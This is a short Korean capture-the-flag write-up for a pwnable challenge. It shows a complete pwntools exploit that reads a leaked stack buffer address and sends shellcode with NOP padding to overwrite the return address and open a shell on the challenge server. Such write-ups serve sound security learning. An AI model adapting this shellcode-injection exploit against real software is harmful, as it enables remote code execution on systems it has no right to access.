문제 분석
문제를 실행해 보면 Data를 입력하면 버퍼의 주소를 알 수 있다.
다시 Data를 입력하면 같은 위치에 새로운 Data가 들어간다.
문제 풀이
처음에 아무 값이나 입력해서 버퍼의 주소를 찾고, 해당 버퍼에 쉘코드를 삽입하고 return address를 버퍼의 주소로 덮어주면 쉘을 획득할 수 있다.
Data는 ebp-0x88에 위치하므로 다음과 같이 payload를 작성할 수 있다.
shellcode + '\x90'*(0x88(buffer)-len(shellcode)+4(sfp))
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3006)
context.arch = 'i386'
shellcode = asm(shellcraft.sh())
p.sendlineafter('Data : ', 'AAAA')
buf = int(p.recvuntil(':')[:-1],16)
p.sendlineafter('(y/n)', 'y')
payload = ''
payload += shellcode
payload += '\x90'*(0x88-len(shellcode)+4)
payload += p32(buf)
p.sendlineafter('Data : ', payload)
p.interactive()